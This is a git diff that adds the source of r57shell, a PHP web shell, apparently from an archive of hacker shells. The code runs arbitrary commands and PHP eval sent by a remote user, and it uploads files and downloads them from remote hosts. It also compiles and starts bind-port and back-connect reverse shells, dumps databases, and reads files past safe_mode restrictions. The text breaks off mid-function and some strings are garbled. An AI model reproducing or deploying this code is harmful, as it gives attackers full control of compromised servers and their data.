+if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
+{
+$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
+}
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* chmod/chown/chgrp */
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
+ {
+ switch($_POST['what'])
+ {
+ case 'own':
+ @chown($_POST['param1'],$_POST['param2']);
+ break;
+
+ case 'grp':
+ @chgrp($_POST['param1'],$_POST['param2']);
+ break;
+
+ case 'mod':
+ @chmod($_POST['param1'],intval($_POST['param2'], 8));
+ break;
+ }
+ $_POST['cmd']="";
+ }
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* make */
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
+ {
+ switch($_POST['what'])
+ {
+ case 'file':
+ if($_POST['action'] == "create")
+ {
+ if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
+ else {
+ fclose($file);
+ $_POST['e_name'] = $_POST['mk_name'];
+ $_POST['cmd']="edit_file";
+ echo "".$lang[$language.'_text61']."
";
+ }
+ }
+ else if($_POST['action'] == "delete")
+ {
+ if(unlink($_POST['mk_name'])) echo "".$lang[$language.'_text63']."
";
+ $_POST['cmd']="";
+ }
+ break;
+
+ case 'dir':
+ if($_POST['action'] == "create"){
+ if(mkdir($_POST['mk_name']))
+ {
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text62']."
";
+ }
+ else { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
+ }
+ else if($_POST['action'] == "delete"){
+ if(rmdir($_POST['mk_name'])) echo "".$lang[$language.'_text64']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ }
+ }
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* edit file */
+if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file")
+ {
+ if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
+ if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; }
+ else {
+ echo $table_up3;
+ echo $font;
+ echo "";
+ echo ws(3)."".$_POST['e_name']." ";
+ echo "";
+ echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
+ fclose($file);
+ echo " ";
+ echo " ";
+ echo " ";
+ echo " ";
+ echo (!empty($only_read)?(" ".$lang[$language.'_text44']):(" "));
+ echo "
";
+ echo "";
+ echo " ";
+ echo "
";
+ exit();
+ }
+ }
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* save file */
+if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
+ {
+ if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); }
+ else {
+ @fwrite($file,$_POST['e_text']);
+ @fclose($file);
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text45']."
";
+ }
+ }
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* port bind C */
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
+{
+ cf("/tmp/bd.c",$port_bind_bd_c);
+ $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
+ @unlink("/tmp/bd.c");
+ $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
+ $_POST['cmd']="ps -aux | grep bd";
+}
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* port bind Perl */
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
+{
+ cf("/tmp/bdpl",$port_bind_bd_pl);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
+ $_POST['cmd']="ps -aux | grep bdpl";
+}
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* back connect Perl */
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* back connect C */
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/back.c",$back_connect_c);
+ $blah = ex("gcc -o /tmp/backc /tmp/back.c");
+ @unlink("/tmp/back.c");
+ $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* datapipe perl */
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/dp",$datapipe_pl);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
+ $_POST['cmd']="ps -aux | grep dp";
+}
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* datapipe C */
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/dpc.c",$datapipe_c);
+ $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
+ @unlink("/tmp/dpc.c");
+ $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
+ $_POST['cmd']="ps -aux | grep dpc";
+}
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* alias execute */
+if (!empty($_POST['alias']))
+ {
+ foreach ($aliases as $alias_name=>$alias_cmd) {
+ if ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd;}
+ }
+ }
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* file upload */
+if (!empty($HTTP_POST_FILES['userfile']['name']))
+{
+if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
+else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
+@copy($HTTP_POST_FILES['userfile']['tmp_name'],
+ $_POST['dir']."/".$nfn)
+ or print("Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
");
+}
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* file upload from remote host */
+if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
+{
+ switch($_POST['with'])
+ {
+ case wget:
+ $p2=which("wget");
+ if(empty($p2)) $p2="wget";
+ $_POST['cmd'] = $p2." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
+ break;
+
+ case fetch:
+ $p2=which("fetch");
+ if(empty($p2)) $p2="fetch";
+ $_POST['cmd']= $p2." -p ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
+ break;
+
+ case lynx:
+ $p2=which("lynx");
+ if(empty($p2)) $p2="lynx";
+ $_POST['cmd']= $p2." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+
+ case links:
+ $p2=which("links");
+ if(empty($p2)) $p2="links";
+ $_POST['cmd']= $p2." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+
+ case GET:
+ $p2=which("GET");
+ if(empty($p2)) $p2="GET";
+ $_POST['cmd']= $p2." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+
+ case curl:
+ $p2=which("curl");
+ if(empty($p2)) $p2="curl";
+ $_POST['cmd']= $p2." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
+ break;
+ }
+}
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* command execute */
+echo $table_up3;
+if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); }
+else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
+echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']." ";
+echo "";
+echo " ";
+
+// safe_mode On
+if($safe_mode)
+{
+ switch($_POST['cmd'])
+ {
+ case 'safe_dir': // dir listing
+ $d=@dir($dir);
+ if ($d)
+ {
+ while (false!==($file=$d->read()))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if($windows){ // WINDOWS STYLE
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " "; else printf("% 7s ",$size);
+ }
+ else{ // UNIX STYLE
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ $d->close();
+ }
+ else echo $lang[$language._text29];
+ break;
+
+ case 'safe_file':
+ if(@is_file($_POST['file']))
+ {
+ $file = @file($_POST['file']);
+ if($file)
+ {
+ $c = @sizeof($file);
+ for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); }
+ }
+ else echo $lang[$language._text29];
+ }
+ else echo $lang[$language._text31];
+ break;
+
+ case 'test1':
+ $ci = @curl_init("file://".$_POST['test1_file']."");
+ $cf = @curl_exec($ci);
+ echo $cf;
+ break;
+
+ case 'test2':
+ include($_POST['test2_file']);
+ break;
+
+ case 'test3':
+ $db = @mysql_connect('localhost',$_POST['test3_ml'],$_POST['test3_mp']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['test3_md'],$db))
+ {
+ $sql = "DROP TABLE IF EXISTS temp_r57_table;";
+ @mysql_query($sql);
+ $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );";
+ @mysql_query($sql);
+ $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;";
+ @mysql_query($sql);
+ $sql = "SELECT * FROM temp_r57_table;";
+ $r = @mysql_query($sql);
+ while($r_sql = @mysql_fetch_array($r)) { echo @htmlspecialchars($r_sql[0]); }
+ $sql = "DROP TABLE IF EXISTS temp_r57_table;";
+ @mysql_query($sql);
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to mysql server";
+ break;
+ } // end : switch($_POST['cmd'])
+
+} // end : if($safe_mode)
+
+// safe_mode Off
+else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump"))
+{
+ $cmd_rep = ex($_POST['cmd']);
+ if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
+ else { echo @htmlspecialchars($cmd_rep)."\n"; }
+
+
+}
+
+// íå çàâèñèò îò ñåéôà
+if ($_POST['cmd']=="php_eval")
+ {
+ $eval = @str_replace("","",$_POST['php_eval']);
+ $eval = @str_replace("?>","",$eval);
+ @eval($eval);
+ }
+//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~//
+/* mysql äàìï */
+if ($_POST['cmd']=="mysql_dump")
+ {
+ if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
+ if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
+ $db = @mysql_connect('localhost',$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+
+ if(@mysql_select_db($_POST['mysql_db'],$db))
+ {
+ // èíôà î äàìïå
+ $sql1 = "# MySQL dump created by r57shell\r\n";
+ $sql1 .= "# homepage: http://rst.void.ru\r\n";
+ $sql1 .= "# ---------------------------------\r\n";
+ $sql1 .= "# date : ".date ("j F Y g:i")."\r\n";
+ $sql1 .= "# database : ".$_POST['mysql_db']."\r\n";
+ $sql1 .= "# table : ".$_POST['mysql_tbl']."\r\n";
+ $sql1 .= "# ---------------------------------\r\n\r\n";
+
+ // ïîëó÷àåì òåêñò çàïðîñà ñîçäàíèÿ ñòðóêòóðû òàáëèöû
+ $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
+ $row = @mysql_fetch_row($res);
+ $sql1 .= $row[1]."\r\n\r\n";
+ $sql1 .= "# ---------------------------------\r\n\r\n";
+
+ $sql2 = '';
+
+ // ïîëó÷àåì äàííûå òàáëèöû
+ $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
+ if (@mysql_num_rows($res) > 0) {
+ while ($row = @mysql_fetch_assoc($res)) {
+ $keys = @implode("`, `", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".$values."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ // ïèøåì â ôàéë èëè âûâîäèì â áðàóçåð
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ } // end if(@mysql_select_db($_POST['mysql_db'],$db))
+
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ } // end if($db)
+ else echo "[-] ERROR! Can't connect to mysql server";
+ } // end if(($_POST['dif']&&$fp)||(!$_POST['dif'])){
+ else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; }
+ } // end if ($_POST['cmd']=="mysql_dump")
+
+echo "
";
+echo "";
+echo "
";
+//////// start table
+echo "";
+/* (c) */
+echo $table_up3;
+echo "o---[ r57shell - http-shell by RusH security team | http://rst.void.ru | version ".$version." ]---o ";
+echo "
$f";
+
+/* -------------------------[ EOF ]------------------------- */
+?>
diff --git a/xakep-shells/PHP/r57.php.php.txt b/xakep-shells/PHP/r57.php.php.txt
new file mode 100644
index 0000000..55bebd5
--- /dev/null
+++ b/xakep-shells/PHP/r57.php.php.txt
@@ -0,0 +1,2206 @@
+$v)
+ {
+ $_POST[$k] = stripslashes($v);
+ }
+ foreach ($_COOKIE as $k=>$v)
+ {
+ $_COOKIE[$k] = stripslashes($v);
+ }
+ }
+
+if($auth == 1) {
+if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
+ {
+ header('WWW-Authenticate: Basic realm="r57shell"');
+ header('HTTP/1.0 401 Unauthorized');
+ exit("r57shell : Access Denied ");
+ }
+}
+$head = '
+
+
+r57shell
+
+
+
+';
+class zipfile
+{
+ var $datasec = array();
+ var $ctrl_dir = array();
+ var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
+ var $old_offset = 0;
+ function unix2DosTime($unixtime = 0) {
+ $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
+ if ($timearray['year'] < 1980) {
+ $timearray['year'] = 1980;
+ $timearray['mon'] = 1;
+ $timearray['mday'] = 1;
+ $timearray['hours'] = 0;
+ $timearray['minutes'] = 0;
+ $timearray['seconds'] = 0;
+ }
+ return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
+ ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
+ }
+ function addFile($data, $name, $time = 0)
+ {
+ $name = str_replace('\\', '/', $name);
+ $dtime = dechex($this->unix2DosTime($time));
+ $hexdtime = '\x' . $dtime[6] . $dtime[7]
+ . '\x' . $dtime[4] . $dtime[5]
+ . '\x' . $dtime[2] . $dtime[3]
+ . '\x' . $dtime[0] . $dtime[1];
+ eval('$hexdtime = "' . $hexdtime . '";');
+ $fr = "\x50\x4b\x03\x04";
+ $fr .= "\x14\x00";
+ $fr .= "\x00\x00";
+ $fr .= "\x08\x00";
+ $fr .= $hexdtime;
+ $unc_len = strlen($data);
+ $crc = crc32($data);
+ $zdata = gzcompress($data);
+ $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
+ $c_len = strlen($zdata);
+ $fr .= pack('V', $crc);
+ $fr .= pack('V', $c_len);
+ $fr .= pack('V', $unc_len);
+ $fr .= pack('v', strlen($name));
+ $fr .= pack('v', 0);
+ $fr .= $name;
+ $fr .= $zdata;
+ $this -> datasec[] = $fr;
+ $cdrec = "\x50\x4b\x01\x02";
+ $cdrec .= "\x00\x00";
+ $cdrec .= "\x14\x00";
+ $cdrec .= "\x00\x00";
+ $cdrec .= "\x08\x00";
+ $cdrec .= $hexdtime;
+ $cdrec .= pack('V', $crc);
+ $cdrec .= pack('V', $c_len);
+ $cdrec .= pack('V', $unc_len);
+ $cdrec .= pack('v', strlen($name) );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('v', 0 );
+ $cdrec .= pack('V', 32 );
+ $cdrec .= pack('V', $this -> old_offset );
+ $this -> old_offset += strlen($fr);
+ $cdrec .= $name;
+ $this -> ctrl_dir[] = $cdrec;
+ }
+ function file()
+ {
+ $data = implode('', $this -> datasec);
+ $ctrldir = implode('', $this -> ctrl_dir);
+ return
+ $data .
+ $ctrldir .
+ $this -> eof_ctrl_dir .
+ pack('v', sizeof($this -> ctrl_dir)) .
+ pack('v', sizeof($this -> ctrl_dir)) .
+ pack('V', strlen($ctrldir)) .
+ pack('V', strlen($data)) .
+ "\x00\x00";
+ }
+}
+function compress(&$filename,&$filedump,$compress)
+ {
+ global $content_encoding;
+ global $mime_type;
+ if ($compress == 'bzip' && @function_exists('bzcompress'))
+ {
+ $filename .= '.bz2';
+ $mime_type = 'application/x-bzip2';
+ $filedump = bzcompress($filedump);
+ }
+ else if ($compress == 'gzip' && @function_exists('gzencode'))
+ {
+ $filename .= '.gz';
+ $content_encoding = 'x-gzip';
+ $mime_type = 'application/x-gzip';
+ $filedump = gzencode($filedump);
+ }
+ else if ($compress == 'zip' && @function_exists('gzcompress'))
+ {
+ $filename .= '.zip';
+ $mime_type = 'application/zip';
+ $zipfile = new zipfile();
+ $zipfile -> addFile($filedump, substr($filename, 0, -4));
+ $filedump = $zipfile -> file();
+ }
+ else
+ {
+ $mime_type = 'application/octet-stream';
+ }
+ }
+function mailattach($to,$from,$subj,$attach)
+ {
+ $headers = "From: $from\r\n";
+ $headers .= "MIME-Version: 1.0\r\n";
+ $headers .= "Content-Type: ".$attach['type'];
+ $headers .= "; name=\"".$attach['name']."\"\r\n";
+ $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
+ $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
+ if(@mail($to,$subj,"",$headers)) { return 1; }
+ return 0;
+ }
+class my_sql
+ {
+ var $host = 'localhost';
+ var $port = '';
+ var $user = '';
+ var $pass = '';
+ var $base = '';
+ var $db = '';
+ var $connection;
+ var $res;
+ var $error;
+ var $rows;
+ var $columns;
+ var $num_rows;
+ var $num_fields;
+ var $dump;
+
+ function connect()
+ {
+ switch($this->db)
+ {
+ case 'MySQL':
+ if(empty($this->port)) { $this->port = '3306'; }
+ if(!function_exists('mysql_connect')) return 0;
+ $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
+ if(is_resource($this->connection)) return 1;
+ break;
+ case 'MSSQL':
+ if(empty($this->port)) { $this->port = '1433'; }
+ if(!function_exists('mssql_connect')) return 0;
+ $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
+ if($this->connection) return 1;
+ break;
+ case 'PostgreSQL':
+ if(empty($this->port)) { $this->port = '5432'; }
+ $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
+ if(!function_exists('pg_connect')) return 0;
+ $this->connection = @pg_connect($str);
+ if(is_resource($this->connection)) return 1;
+ break;
+ case 'Oracle':
+ if(!function_exists('ocilogon')) return 0;
+ $this->connection = @ocilogon($this->user, $this->pass, $this->base);
+ if(is_resource($this->connection)) return 1;
+ break;
+ }
+ return 0;
+ }
+
+ function select_db()
+ {
+ switch($this->db)
+ {
+ case 'MySQL':
+ if(@mysql_select_db($this->base,$this->connection)) return 1;
+ break;
+ case 'MSSQL':
+ if(@mssql_select_db($this->base,$this->connection)) return 1;
+ break;
+ case 'PostgreSQL':
+ return 1;
+ break;
+ case 'Oracle':
+ return 1;
+ break;
+ }
+ return 0;
+ }
+
+ function query($query)
+ {
+ $this->res=$this->error='';
+ switch($this->db)
+ {
+ case 'MySQL':
+ if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
+ {
+ $this->error = @mysql_error($this->connection);
+ return 0;
+ }
+ else if(is_resource($this->res)) { return 1; }
+ return 2;
+ break;
+ case 'MSSQL':
+ if(false===($this->res=@mssql_query($query,$this->connection)))
+ {
+ $this->error = 'Query error';
+ return 0;
+ }
+ else if(@mssql_num_rows($this->res) > 0) { return 1; }
+ return 2;
+ break;
+ case 'PostgreSQL':
+ if(false===($this->res=@pg_query($this->connection,$query)))
+ {
+ $this->error = @pg_last_error($this->connection);
+ return 0;
+ }
+ else if(@pg_num_rows($this->res) > 0) { return 1; }
+ return 2;
+ break;
+ case 'Oracle':
+ if(false===($this->res=@ociparse($this->connection,$query)))
+ {
+ $this->error = 'Query parse error';
+ }
+ else
+ {
+ if(@ociexecute($this->res))
+ {
+ if(@ocirowcount($this->res) != 0) return 2;
+ return 1;
+ }
+ $error = @ocierror();
+ $this->error=$error['message'];
+ }
+ break;
+ }
+ return 0;
+ }
+ function get_result()
+ {
+ $this->rows=array();
+ $this->columns=array();
+ $this->num_rows=$this->num_fields=0;
+ switch($this->db)
+ {
+ case 'MySQL':
+ $this->num_rows=@mysql_num_rows($this->res);
+ $this->num_fields=@mysql_num_fields($this->res);
+ while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
+ @mysql_free_result($this->res);
+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
+ break;
+ case 'MSSQL':
+ $this->num_rows=@mssql_num_rows($this->res);
+ $this->num_fields=@mssql_num_fields($this->res);
+ while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
+ @mssql_free_result($this->res);
+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
+ break;
+ case 'PostgreSQL':
+ $this->num_rows=@pg_num_rows($this->res);
+ $this->num_fields=@pg_num_fields($this->res);
+ while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
+ @pg_free_result($this->res);
+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
+ break;
+ case 'Oracle':
+ $this->num_fields=@ocinumcols($this->res);
+ while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
+ @ocifreestatement($this->res);
+ if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
+ break;
+ }
+ return 0;
+ }
+ function dump($table)
+ {
+ if(empty($table)) return 0;
+ $this->dump=array();
+ $this->dump[0] = '##';
+ $this->dump[1] = '## --------------------------------------- ';
+ $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
+ $this->dump[3] = '## Database: '.$this->base;
+ $this->dump[4] = '## Table: '.$table;
+ $this->dump[5] = '## --------------------------------------- ';
+ switch($this->db)
+ {
+ case 'MySQL':
+ $this->dump[0] = '## MySQL dump';
+ if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
+ if(!$this->get_result()) return 0;
+ $this->dump[] = $this->rows[0]['Create Table'];
+ $this->dump[] = '## --------------------------------------- ';
+ if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
+ if(!$this->get_result()) return 0;
+ for($i=0;$i<$this->num_rows;$i++)
+ {
+ foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
+ $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
+ }
+ break;
+ case 'MSSQL':
+ $this->dump[0] = '## MSSQL dump';
+ if($this->query('SELECT * FROM '.$table)!=1) return 0;
+ if(!$this->get_result()) return 0;
+ for($i=0;$i<$this->num_rows;$i++)
+ {
+ foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
+ $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
+ }
+ break;
+ case 'PostgreSQL':
+ $this->dump[0] = '## PostgreSQL dump';
+ if($this->query('SELECT * FROM '.$table)!=1) return 0;
+ if(!$this->get_result()) return 0;
+ for($i=0;$i<$this->num_rows;$i++)
+ {
+ foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
+ $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
+ }
+ break;
+ case 'Oracle':
+ $this->dump[0] = '## ORACLE dump';
+ $this->dump[] = '## under construction';
+ break;
+ default:
+ return 0;
+ break;
+ }
+ return 1;
+ }
+ function close()
+ {
+ switch($this->db)
+ {
+ case 'MySQL':
+ @mysql_close($this->connection);
+ break;
+ case 'MSSQL':
+ @mssql_close($this->connection);
+ break;
+ case 'PostgreSQL':
+ @pg_close($this->connection);
+ break;
+ case 'Oracle':
+ @oci_close($this->connection);
+ break;
+ }
+ }
+ function affected_rows()
+ {
+ switch($this->db)
+ {
+ case 'MySQL':
+ return @mysql_affected_rows($this->res);
+ break;
+ case 'MSSQL':
+ return @mssql_affected_rows($this->res);
+ break;
+ case 'PostgreSQL':
+ return @pg_affected_rows($this->res);
+ break;
+ case 'Oracle':
+ return @ocirowcount($this->res);
+ break;
+ default:
+ return 0;
+ break;
+ }
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
+ {
+ if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
+ else
+ {
+ @ob_clean();
+ $filename = @basename($_POST['d_name']);
+ $filedump = @fread($file,@filesize($_POST['d_name']));
+ fclose($file);
+ $content_encoding=$mime_type='';
+ compress($filename,$filedump,$_POST['compress']);
+ if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
+ header("Content-type: ".$mime_type);
+ header("Content-disposition: attachment; filename=\"".$filename."\";");
+ echo $filedump;
+ exit();
+ }
+ }
+if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo " "; die(); }
+if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
+ {
+ echo $head;
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $_POST['mysql_l'];
+ $sql->pass = $_POST['mysql_p'];
+ $sql->base = $_POST['mysql_db'];
+ $querys = @explode(';',$_POST['db_query']);
+ echo '';
+ if(!$sql->connect()) echo "Can't connect to SQL server
";
+ else
+ {
+ if(!empty($sql->base)&&!$sql->select_db()) echo "Can't select database
";
+ else
+ {
+ foreach($querys as $num=>$query)
+ {
+ if(strlen($query)>5)
+ {
